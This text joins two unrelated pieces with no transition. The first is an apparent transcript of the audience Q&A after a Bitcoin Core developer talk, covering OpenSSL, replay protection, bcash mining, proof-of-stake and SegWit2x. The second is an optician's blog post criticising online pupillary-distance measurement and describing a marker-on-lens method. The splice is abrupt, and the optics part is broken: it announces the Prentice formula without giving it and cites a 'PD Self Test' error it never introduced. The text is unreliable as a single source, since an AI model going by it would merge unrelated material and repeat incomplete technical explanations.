Q: Is it possible for a non-bitcoin blockchain application, ...

A: Yes I think the same techniques for optimization here would be applicable to any system with general system properties. Our focus in Bitcoin Core is on keeping bitcoin running.

Q: You mentioned at the end that GUI and wallet are two areas where you need more help. Can you expand on it?

A: There's some selection bias in the bitcoin project. Bitcoin developers are overwhelmingly system programmers and we don't even use GUIs generally. As a result of that, we also attract other system programmers to the project. There are some people that work on the GUI, but not so many. We don't have any big design people working on it, for example. There's nobody doing user testing on the wallet. We don't expect Bitcoin Core to be for grandma, it's expected to be industrial machinery, but there's still a lot of user factors that there aren't a lot o resources going into but we would like that to be different.

Q: Yeah I can speak about ... I heard ... blockchain... lightning right now. How is that going?

A: So the question is Blockstream has some people working on lightning. I am not one of them but my understanding is that the big news is that the specifications are coming to completion and there's been great interop testing going on. There are other people in this room that are far more expert on lightning than I am, including laolu who can answer all questions about lightning. Yes, he's waving his hand. I'm pleased to see it moving along.

Q: Hi, you mentioned taking out openssl. But someone who is working on secure communication between peers, is that using openssl?

A: Right, no chance of that. Openssl has a lot of stuff going for it-- largely wideployed, but has lots of attack surface. We don't need openssl for secure communication.

sipa: If I can comment briefly on this, the most important reason to use openssl is if you need openssl. For soething like this, we have the expertise to build a much more narrow protocol without those dependencies.

A: We also have some interesting things different for bitcoin, normally our connections are unathenticated because we have anonymous peers... there are some interesting tricks for that. I can have multiple keys to authenticate to peers, so we can have trace-resistance there, and we can't do that in openssl. Your use of authentication doesn't make you super-identifiable to everyone you conect with.

Q: Question about.. wondering when, what do you think would need to be happen for 1.0 version? More like longer term? Is there some kind of special requirement for a 1.0 release? I know that's far out.

A: It's just numbers, in my opinion. The list of things that I'd like to see in Bitcoin Core and the protocol would be improved fungibility. It's a miles-long list. I expect it to be miles-long for the rest of my life. But maybe this should have nothing to do with v1.0 or not. There are many projects that have changed version numbers purely for marketing reasons, like Firefox and Chrome. There are versions of bitcoin altcoins that use version 1.14 to try to say they are 1 version greater... I roll my eyes at that, it sometimes contributes to user confusion, so I wouldn't be surprised if the number gets ludicrously increased to 1000 or something. In terms of the system being complete, I think we have a long way to go. There are many credible things to do.

Q: There was recently a fork of the bitcoin network that was polite enough to include replay protection. But people are working on another fork that might not include replay protection. So is there a way to defend against this kind of malicious behavior?

A: Well I think that the most important thing is to encourage people to be sensible. But if they won't be sensible and add replay protection, then there are many features that give some amount of automatic replay protection. In ethereum, it's replay vulnerable because it uses accounts model. In bitcoin every time you spend you reference your coins, it's automatic replay connection. There's no problem with replay between testnet and bitcoin or litecoin and bitcoin, it's the inherent replay protection built-in. Unfortunately, this doesn't work if you literally copy the history of the system. The best way probably to deal with replay is to take advantage of replay prevention by making your transaction spend outputs that don't exist on the other chain. People have circulated patches in the past that allow miners to create 0-value outputs that anyone can spend, and then wallets could then pick up those wallets and spend them. If you spend an output created by a miner that only exists on the chain that you want to spend on, then you're naturally replay-protected. If that split happens without replay protection, there willbe tools to help, but it will still be a mess. You see in ethereum and ethereum classic continued snafuus.

Q: There's a altcoin that copied the bitcoin state that you can use identical equipment on.. and it will be more profitable to mine, and it will bounce back and forth between miners.

A: Well, the system works as designed in my opinion. Bcash uses the same PoW function. They changed their difficulty adjustment algorithm. They go into hyperinflation when they lose hashrate. And then those blocks coming in once every few minutes makes it more profitable to mine. Miners are trying to make money. They have to factor in the risk that the bcash coins will become worthless before they can sell them. Miners move them over, bitcoin remains stable, transaction fees go up, which has happened now twice because bitcoin becomes more profitable to mine just from the transaction fees. At the moment, bcash is in a low difficulty period but bitcoin is more profitable to mine because of transaction fees. Bitcoin's update algorithm is not trying to chase out all possible altcoins. At the moment it works fine, it's just a little slow.

Q: ... further... lower.. increase.

A: Well, ... one large miner after segwit activated seemed to lower their blocksize limit, probably related to other unrelated screwups. The system seems to be self-calibrating and it is working as expected, fees are high at the moment, but that's all the more reason for people to adopt segwit and take advantage of lower fees. I'm ofthe opinion that the oscillation is damaging to the bcash sidebecause it's bushing them into hyperinflation. Because their block size is way larger, and they are producing 10 kb blocks, I don't know what twill pay people to mine it as they wear out their inflation schedule. And it should have an accelerating inflation rate because of how that algorithm works. Some of the bcash miners are trying to stop the difficulty adjustments because they realize it's bad. I'm actually disappointed that bcash is having these problems, it's attractive for people to have some alternative if your idea of the world that bitcoin should have no block size limit that's not a world that I can support based on the science we have today; if people want it, they ca have it, and I'm happy to say here go use that thing, but that thing is going off the rails maybe a little faster than I thought, but we'll see.

Q: If I give you a chip that is a million times faster than the nvidia chip, how much saving would you have the mining?

A: A million times faster than nvidia chip... bitcoin mining today is done with highly specialized ASICs. How long until... So, bitcoin will soon to have done 2⁸⁸ cummulative sha256 operations. Oh yes, so we're over 2⁸⁸ sha256 operations done for mining. This is a mind-bogglingly large number. We crossed 2⁸⁰ the other year. If you started at core 2 duo at the beginning of time, then it will just have done 2⁸⁰ work just when 2⁸⁰ was crossed. We have just crossed 256x more work than that. So that's why something like a million times faster nvidia chip still wouldn't hold a candle to the computing power from all these sha256 asics. I would recommend against 160-bit hashes for any cases where collisions are a concern. We use them for addresses, but addresses aren't a collision concern, although segwit does change it for that reason.

Q: There's a few different proposlas nad trying to solve the same thing, like wea blocks, thin blocks, invertible bloom filters, is there anything in that realm on the horizon, what do you think is the most probable development there?

A: There's a class of proposals called pre-consensus, like weak blocks (or here), where participants come to agreement in advance on what they will put into blocks before it is found. I think those techiques are neat, I've done some work on them, I think other people will work on them. There are many design choices, ew could run multiples of these in parallel. We have made great progress on efficient block transmission with FIBRE and compact blocks. We went 5000 blocks ish without an orphan a couple weeks ago, so between FIBRE and v0.14 speedups, we've seen the orphan rate drop, it's not as much of a concern. We might see it pop back up as segwit gets utilized, we'll have to see.

Q: Is rolling utxo hash a segwit precondition?

A: I think most of these chemes wouldn't make use of a rolling utxo set, there's some potential interaction for fast syncing nodes on it. A lot of these, th epreconsensus techniques you can have no consensus enforcement of the rules and the miners just go along with it. They are interesting techniques. There's a paper 2 years ago called bitcoin-ng which itself can be seen as a pre-consensus technique that talks about some interesting things in this space.

Q: Going 5000 blocks...

A: Yeah, so... Bram is saying that if we go 5000 blocks without an orphan, then this implies that the blocks are going out on the order of 200 ms, that's right. Well actually it's more like 100 ms. Particularly BlueMatt's technique transmits pretty rleiably near the speed of light. Lots of ISPs... yeah so, part of the reason why ew are able to do this, this is where BlueMatt's stuff is really helpful, he setup a network of nodes that have been carefully placed to connect with each other and be low latency, and this is very difficult and it has taken some work, but it helps out the network.

Q: Hi. What do you think about proof-of-stake as a consensus mechanism?

A: There's a couple of things. There have been many proof-of-stake proposals that are outright broken. And people haven't done a good job of distinguishing the proposals. As an example, proof-of-stae in NXT is completely broken and you can just stakegrind it. The reason why people haven't attacked it, because it hasn't been worth it to do so... There are other proposals that achieve very different security properties than what bitcoin achieves. Bitcoin achieves this anonymous anyone can join very distributed mechanism of security, and the various proof-of-stake proposals out there have different tradeoffs. The existing users can exclude new users by not letting them stake their coins. I think the people working on proof-of-stake have done a poor job of stating their security assumptions and showing exactly what goals they achieve. There's been also some work in this space where they make unrealistic assumptions. There was a recent PoS paper that claimed to solve problems, but the starting assumption was that the users have a synchronous network which is where all users will receive all the messages in order all the time. If you had a synchronous network then you don't need a blockchain at all. This was one of the starting assumptions in a recent paper on PoS. So I think it's interesting that people are exploring this stuff, but I think a lot of this work is not likely to be productive. I hope that the start of the art will improve... it's tiresome to read papers that claim to solve these problems but then you get to page 14 and it says oh it requires a synchronous network, into the trash. This is a new area, and science takes time to evolve.

Q: Beyond .. bad netcode... what are the highlights for your current threat model for protecting the future of bitcoin?

A: I think that the most important highlight is education. Ultimately bitcoin is a social and economic system. We need to understand it and have a common set of beliefs. Even as constructed today. There are some long term problems related to mining centralization. I am of the belief that they are driven by short-term single shot events where people entered and overbuilt hardware. Perhaps it's a short-term effect. But if it's not, and a few years later we look at this and we see nothing improving, then maybe it's time to get another answer. The bitcoin space is so surprising. Last time I spoke here, the bitcoin market price was $580. We can't allow our excitement about adoption to make bad moves related to technology. I want bitcoin to expand to the world as fast as it can, but no faster.

Q: Hey uh... so it sounds like you, in November whenever s2x gets implemented, and it gets more work than bitcoin, I mean it sounds like you consider it an altcoin it's like UASF territory at what point is bitcoin is bitcoin and what would y'all do with sha256 algorithm if s2x gets more work on it?

A: I think that the major contributors on Bitcoin Core are pretty consistent and clear on their views on s2x (again), we're not interested and not going along with it. I think it will be unlikely to get more work on it. Miners are going to follow the money. Hypothetically? Well, I've never been of the opinion that more work matters. It's always secondary to following the rules. Ethereum might have had more joules pumped into its minin than bitcoin, although I haven't done the math that's at least possible. I wouldn't say ethereum is now bitcoin though... just because of the joules. Every version of bitcoin all the way back has had nodes enforcing the rules. It's essential to bitcoin. Can I think bitcoin can hard-fork? Yeah, but all the users have to agree, and maybe that's hard to achieve because we can do things without hard-forks. And I think that's fine. If we can change bitcoin for a controversial change, then I think that's bad because you could make other controversial changes. Bitcoin is a digital asset that is not going to change out from you. As for future proof-of-work functions, that's unclear. If s2x gets more hashrate, then I think that would be because users as a whole were adopting it, and I think if that was the case then perhaps the Bitcoin developers would go do something else instead of Bitcoin development. It might make sense to use a different proof of work function. Changing a PoW function is a nuclear option and you don't do it unless you have no other choice. But if you have no other choice, yeahdo it.

Q: So sha256 is not a defining characteristic of bitcoin?

A: Right. We might even have to change sha256 in the future for security reasons anyway.

Q: Rusty Russell wrote a series of articles about if a hard-fork is necessary, what does it mean, how much time is required, I'm not say I'm proposing a hard-fork, but what kinds of changes might be useful to make it easier for us to make good decisions at that point?

A: I don't think the system can decide on what it is. It's inherently external. I am in favor of a system where we make changes with soft-forks, and we use hard-forks only to clean up technical debt so that it's more easy to get social consensus on those. I think Rusty's posts are interesting, but there's this property that I've observed in bitcoin where there's an inverse rleationship between the distance you are to the code and how ... no, proprotional relationship: distance between the code and how viable you think the proposals are. Rusty is very technical, but he's not a regular contributor to Bitcoin Core. He's a lightning developer. This is a pattern we see in other places as well.

I think that was the last question. Alright, thanks.

The optical center of your eyeglass lenses is the part that gives you the truest vision, and it should be directly in front of your pupils. To determine how to place the lenses in your frames so the optical center is customized for your eyes, the eyeglasses lab needs to know the distance between your pupils, or PD.

It can be tricky to measure your own PD, somewhat akin to trying to cut your own hair. Dispensers need lots of practice to be able to measure PDs correctly, and even experienced opticians have difficulty taking their own in a mirror.

Most online optical providers present you with several ways to go about this important task. Some suggest the simplest method, which is to have your prescribing eye doctor or an optician take the measurement for you. Alternatively, they offer step-by-step explanations of how to take your own PD in the mirror, or how to have a friend take it for you.

There are two systems proliferated online to obtain your own PD: manually measure yourself, or via software manipulate an uploaded photo of yourself to produce the data.

To measure yourself the common instructions are (courtesy of random online glasses site justeyewear.com)

Have ready: a straight ruler*, a pencil, and a mirror

1. Facing the mirror, place the ruler on the bridge of your nose, bringing the start of the ruler directly below the center of one eye’s pupil.
2. Looking straight into the mirror, hold the ruler (keeping it steady and parallel to the floor!) and mark the location on the ruler of the other eye’s pupil.
3. Measure the distance in millimeters between the two marks. This is your PD.
4. Repeat this process a couple of times to ensure you have an accurate measurement.

If you have a willing assistant, you can simplify the process even further by having your friend measure your PD using a ruler. (Your job will be to stand still.)
Whether measuring with someone or alone, be sure to hold the ruler steady and parallel to the floor!

Does this inspire you with confidence or what?

The second method is to upload a photograph of yourself with some sort of size reference device in the photo. This was initially developed as the iPhone app Pupil Meter using a credit card as the size-reference device. Since most credit cards are fixed size, once you know the size of the card one can calculate the distance between the pupils in the image.

The idea is sound. It's a simple ratio equation. But the app is notoriously flawed and inaccurate. Witness it's awesome 1 star rating and the many uncomplimentary comments.

The whole point of getting a PD measurement is to have the optical center of the lens centered in front of the eye.  If it is decentered, that induces prism: "A lens with prism correction displaces the image, which is used to treat muscular imbalance or other conditions that cause errors in eye orientation." Double vision and focusing difficulties can be caused because your eyes don't work together perfectly, and prism can be prescribed by doctors to correct that and force your eyes to focus together properly. However, prism that is not prescribed and unnecessary will do the opposite: it will create double vision and focusing problems.

So unnecessary prism is bad. But nothing can be measured perfectly, even the most accurate eyewear has some margin of error. How much is too much? Well let's figure out what a pair of glasses I would order myself using the above PD Self Test measurements would be like. If my PD ended up being decentered by the test's 4mm error how much prism would I get?

The Prentice Rule is a simple optician's equation to calculate exactly that. The formula is:

P is the amount of prism in diopters D

c is decentration in centimeters

f is lens power in diopters D

Here's a kicker. My actual PD, measured many times by every method from a ruler held to the face to the Visioffice digital measuring system, is 69mm. The online calc didn't even come close. If I had used it's average result of 63mm, that would not possibly, but exactly cause my resulting glasses to be decentered 6mm, inducing a whopping 0.6*2.5=1.5D unnecessary prism, more than double ANSI standards. Those glasses would certainly cause double vision, strain, and focusing failure.

How can the system be that off? Well, because you have two PDs. When you focus on objects within 20 feet, your eyes converge and the distance between your pupils decreases. How far away is the cameraphone or webcam you're using to take the image for the online systems? 2 feet? 4 feet? Those systems are measuring your near PD, not the 20+ foot distance PD you want in your glasses. They don't even get the near PD right either.

Look at this handy diagram! It's depicting cameras, but the concept is the same for eyes.

So you've hung out through my lecture and you want to know how to do it right. It's ridiculously simple. I don't know why no online opticals recommend this. I'm sure people simply assume a slick looking digital system like the one above is more accurate than any manual system, and are inspired with confidence in their cut-rate online supplier. But manual is simply the best for doing this on your own. Here it is:

1. Wear your glasses. (Or any glasses if you don't have your own. Even just try on demo glasses at the mall if you are that bold.)
2. Have a felt-tip maker handy.
3. Focus on a single object in the far distance (anything farther than 20 feet works, but farther is better).
4. Raise the marker to your right lens and precisely put a dot on it directly over the distant object.
5. Repeat for your left eye. If done correctly, with both eyes open the two dots should overlap into a single dot over the distant object. If not repeat making the markings until they do form a single dot.
6.  Measure the distance between the two dots on your lenses with a millimeter ruler.
7. That's your distance PD.
8. If you need a near PD for reading or computer glasses, just do the same procedure but focus instead on the object you will be looking at, either reading material or computer monitor.

I don't mind educating about this because despite the online opticals' claims, PD is not the only barrier between you and high quality eyewear. There are 30 other ways the online guys can and will ruin your glasses. Only a knowledgeable and skilled optician can make great eyewear. For excellent vision, a perfect comfortable fit, and beautiful eyewear that will last at least a year, you just gotta see an optigeek like me.

But if you want to bring me your own PD measured by my method, I'll take it. But you wouldn't mind if I just double-checked that PD myself first though, right?